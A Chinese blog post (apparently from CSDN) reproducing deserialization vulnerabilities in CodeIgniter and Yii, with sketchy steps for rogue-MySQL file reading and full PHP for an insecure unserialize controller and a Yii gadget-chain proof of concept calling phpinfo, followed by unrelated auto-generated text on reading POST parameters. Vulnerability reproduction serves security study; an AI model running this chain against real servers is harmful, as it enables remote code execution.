CodeIgniter及Yii 漏洞合集

本文详细介绍了CodeIgniter的反序列化漏洞,包括如何利用rogue_mysql_server.py脚本实现任意文件读取,以及通过配置POC文件进行攻击。同时,文章还探讨了CodeIgniter的任意代码执行漏洞,展示了如何构造命令进行利用。此外,文章还涉及了Yii框架的反序列化漏洞,提供了一个复现漏洞的示例,包括创建特定的Controller和poc.php文件,以及如何触发漏洞。
摘要由CSDN通过智能技术生成

CodeIgniter漏洞

CodeIgniter 反序列化漏洞

一、任意文件读取

需要用到的rogue_mysql_server.py脚本GitHub:https://github.com/Gifts/Rogue-MySql-Server

  1. 配置POC文件

配置恶意Mysql主机IP(攻击者外网IP):

  1. 配置py脚本

配置完毕后攻击机上运行py脚本

生成payload

 攻击受害机的反序例化点

 读取到C:/Windows/win.ini的内容

 CodeIgniter 任意代码执行漏洞

搭建好环境

构建命令语句

 

当开启了远程文件包含的情况下,也可以直接包含php://input

Yii漏洞

Yii 反序例化漏洞

漏洞复现

这是一个反序列化利用链,所以还需要一个反序列化的入口点

在controllers目录下创建一个Controller:


<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
use yii\filters\VervFilter;
use yii\filters\AccessControl;
use app\models\LoginForm;
 
class TestController extends \yii\web\Controller
{
    public function actionSss($data){
        return unserialize(base64_decode($data));
    }
}
 
?>

接着创建文件poc.php

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

执行文件获取poc

php poc.php

http://localhost:8080/index.php?r=test/sss&data=[payload](需要编码)

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CodeIgniter框架中,获取POST参数可以使用$_POST['key']来获取。此外,CodeIgniter还封装了一个Input类,可以使用$this->input->post('key')来获取POST提交过来的数据。例如,可以使用以下代码来获取POST参数: $key = $_POST['key']; 或者 $key = $this->input->post('key'); 其中,'key'是要获取的POST参数的键名。这样就可以获取到相应的POST参数了。 另外,CodeIgniter还提供了获取GET参数的方法。可以使用$this->input->get('key')来获取GET参数。这样可以方便地获取到URL中的GET参数。 总结起来,CodeIgniter框架中可以通过$_POST['key']、$this->input->post('key')获取POST参数,通过$this->input->get('key')获取GET参数。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [CI框架获取post和get参数_CodeIgniter心得](https://blog.csdn.net/lishk314/article/details/48240607)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [在CodeIgniter中检索JSON POST数据](https://blog.csdn.net/weixin_39954674/article/details/115108581)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值